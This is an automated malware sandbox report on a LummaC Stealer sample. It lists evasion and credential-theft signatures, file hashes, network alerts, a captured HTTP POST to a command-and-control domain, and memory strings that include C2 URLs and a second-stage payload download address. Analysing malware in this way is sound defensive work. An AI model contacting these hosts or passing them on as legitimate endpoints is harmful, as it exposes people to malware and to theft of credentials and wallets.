Edit tour

Windows Analysis Report
BTn1AT2k3Y.exe

Overview

General Information

Sample name:	BTn1AT2k3Y.exe renamed because original name is a hash value
Original sample name:	ff1ebb565ca943b117ab688e10e9f10b.exe
Analysis ID:	1632962
MD5:	ff1ebb565ca943b117ab688e10e9f10b
SHA1:	d35fdcd2b00a60afec28bd9579c3461ba1225671
SHA256:	26d09f46d3cc20583ea59a17a3ea6eb482b1e7171bf7a98f17032b2606f7bbdd
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

BTn1AT2k3Y.exe (PID: 6576 cmdline: "C:\Users\user\Desktop\BTn1AT2k3Y.exe" MD5: FF1EBB565CA943B117AB688E10E9F10B)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BTn1AT2k3Y.exe PID: 6576	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BTn1AT2k3Y.exe PID: 6576	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.BTn1AT2k3Y.exe.8d0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-09T13:49:17.350115+0100	2028371	3	Unknown Traffic	192.168.2.9	49683	104.21.80.1	443	TCP
2025-03-09T13:49:21.148109+0100	2028371	3	Unknown Traffic	192.168.2.9	49684	104.21.80.1	443	TCP
2025-03-09T13:49:24.175471+0100	2028371	3	Unknown Traffic	192.168.2.9	49685	104.21.80.1	443	TCP
2025-03-09T13:49:27.758004+0100	2028371	3	Unknown Traffic	192.168.2.9	49686	104.21.80.1	443	TCP
2025-03-09T13:49:33.125653+0100	2028371	3	Unknown Traffic	192.168.2.9	49688	104.21.80.1	443	TCP
2025-03-09T13:49:37.047832+0100	2028371	3	Unknown Traffic	192.168.2.9	49693	104.21.80.1	443	TCP
2025-03-09T13:49:43.128778+0100	2028371	3	Unknown Traffic	192.168.2.9	49694	104.21.80.1	443	TCP
2025-03-09T13:49:45.333116+0100	2028371	3	Unknown Traffic	192.168.2.9	49695	188.114.97.3	443	TCP

HTTP traffic detected: POST /jUSiaz HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: defaulemot.run

Source: BTn1AT2k3Y.exe, 00000000.00000002.1208794827.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/
Source: BTn1AT2k3Y.exe, 00000000.00000002.1208794827.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/a
Source: BTn1AT2k3Y.exe, 00000000.00000003.1205691158.000000000130B000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exe
Source: BTn1AT2k3Y.exe, 00000000.00000002.1208794827.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/qS
Source: BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7:80/mine/random.exeiles
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BTn1AT2k3Y.exe, 00000000.00000003.990238682.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: BTn1AT2k3Y.exe, 00000000.00000003.1205691158.000000000130B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://begindecafer.world/
Source: BTn1AT2k3Y.exe, 00000000.00000003.1185376073.000000000130D000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000002.1208794827.000000000130D000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205691158.000000000130B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://begindecafer.world/QwdZdf
Source: BTn1AT2k3Y.exe, 00000000.00000003.1185376073.000000000130D000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000002.1208794827.000000000130D000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205691158.000000000130B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://begindecafer.world/QwdZdf-
Source: BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://begindecafer.world:443/QwdZdfOFILE=user-PCUSERNAME=userUSERPROFIL
Source: BTn1AT2k3Y.exe, 00000000.00000003.1038207969.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BTn1AT2k3Y.exe, 00000000.00000003.1038207969.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: BTn1AT2k3Y.exe, 00000000.00000002.1208794827.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077284092.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1104811202.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1104407496.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077361195.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.919188760.0000000001284000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1205751122.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185544500.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185376073.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run/
Source: BTn1AT2k3Y.exe, 00000000.00000003.1077284092.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077361195.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run/A
Source: BTn1AT2k3Y.exe, 00000000.00000003.1077284092.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077361195.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run/e
Source: BTn1AT2k3Y.exe, 00000000.00000003.1205691158.000000000130B000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run/jUSiaz
Source: BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run/jUSiaz$$Z7
Source: BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run:443/jUSiaz=C:
Source: BTn1AT2k3Y.exe, 00000000.00000003.1038396298.0000000001313000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run:443/jUSiazV
Source: BTn1AT2k3Y.exe, 00000000.00000003.1185454812.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defaulemot.run:443/jUSiazgram
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: BTn1AT2k3Y.exe, 00000000.00000003.1038207969.0000000005AA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20Y&
Source: BTn1AT2k3Y.exe, 00000000.00000003.920634628.0000000005AD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: BTn1AT2k3Y.exe, 00000000.00000003.991579719.0000000005DC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.9:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.9:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.9:49685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.9:49686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.9:49688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.9:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49695 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: BTn1AT2k3Y.exe	Static PE information: section name:
Source: BTn1AT2k3Y.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009000B0	0_2_009000B0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0091C320	0_2_0091C320
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008EA430	0_2_008EA430
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008DE660	0_2_008DE660
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008F8900	0_2_008F8900
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008FCBB0	0_2_008FCBB0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008F0B40	0_2_008F0B40
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0091D0C0	0_2_0091D0C0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008EB1D8	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009073CB	0_2_009073CB
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008E55F6	0_2_008E55F6
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009176C0	0_2_009176C0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008DD780	0_2_008DD780
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00919775	0_2_00919775
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009138C0	0_2_009138C0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008E1822	0_2_008E1822
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008DDA3A	0_2_008DDA3A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00913C30	0_2_00913C30
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D6090	0_2_009D6090
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5	0_2_0094C0B5
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008EE0AC	0_2_008EE0AC
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0091C0A0	0_2_0091C0A0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0099E0AF	0_2_0099E0AF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A1C0F8	0_2_00A1C0F8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A340FA	0_2_00A340FA
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D20FD	0_2_009D20FD
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009DE0F8	0_2_009DE0F8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD	0_2_0097A0FD
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A3E02F	0_2_00A3E02F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009B8009	0_2_009B8009
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0093E000	0_2_0093E000
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CC02E	0_2_009CC02E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009C602A	0_2_009C602A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00974059	0_2_00974059
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A30072	0_2_00A30072
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009AC044	0_2_009AC044
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A2007C	0_2_00A2007C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A38053	0_2_00A38053
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009EC066	0_2_009EC066
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009DA19C	0_2_009DA19C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008F0180	0_2_008F0180
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009701B4	0_2_009701B4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009761BB	0_2_009761BB
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A2E190	0_2_00A2E190
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094E1A2	0_2_0094E1A2
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009061D8	0_2_009061D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009C21C9	0_2_009C21C9
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009FE1C6	0_2_009FE1C6
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009B61C1	0_2_009B61C1
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CE1C7	0_2_009CE1C7
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009BC1E5	0_2_009BC1E5
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009F411B	0_2_009F411B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A0A136	0_2_00A0A136
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0099610E	0_2_0099610E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00902120	0_2_00902120
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E212B	0_2_009E212B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009B015C	0_2_009B015C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0095415B	0_2_0095415B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0098614C	0_2_0098614C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0096C172	0_2_0096C172
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E017B	0_2_009E017B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A40143	0_2_00A40143
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0090617E	0_2_0090617E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0099C168	0_2_0099C168
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E8169	0_2_009E8169
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009F8166	0_2_009F8166
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0099229A	0_2_0099229A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00978280	0_2_00978280
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009FA283	0_2_009FA283
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009AE2A9	0_2_009AE2A9
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009AC2DF	0_2_009AC2DF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008EE2C6	0_2_008EE2C6
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009542C4	0_2_009542C4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A1A2F2	0_2_00A1A2F2
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D02C9	0_2_009D02C9
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A402C5	0_2_00A402C5
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009062F9	0_2_009062F9
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D22EA	0_2_009D22EA
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00942215	0_2_00942215
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A32227	0_2_00A32227
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009C023E	0_2_009C023E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00998231	0_2_00998231
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0098E232	0_2_0098E232
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D422E	0_2_009D422E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0095A255	0_2_0095A255
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0095C257	0_2_0095C257
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A24272	0_2_00A24272
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00918240	0_2_00918240
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0093E277	0_2_0093E277
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00AB2245	0_2_00AB2245
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0098A26F	0_2_0098A26F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009A8267	0_2_009A8267
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00964268	0_2_00964268
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A423B4	0_2_00A423B4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009F2388	0_2_009F2388
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009AA381	0_2_009AA381
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008DA390	0_2_008DA390
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A38387	0_2_00A38387
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009563B0	0_2_009563B0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A02399	0_2_00A02399
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CA3D4	0_2_009CA3D4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A163E9	0_2_00A163E9
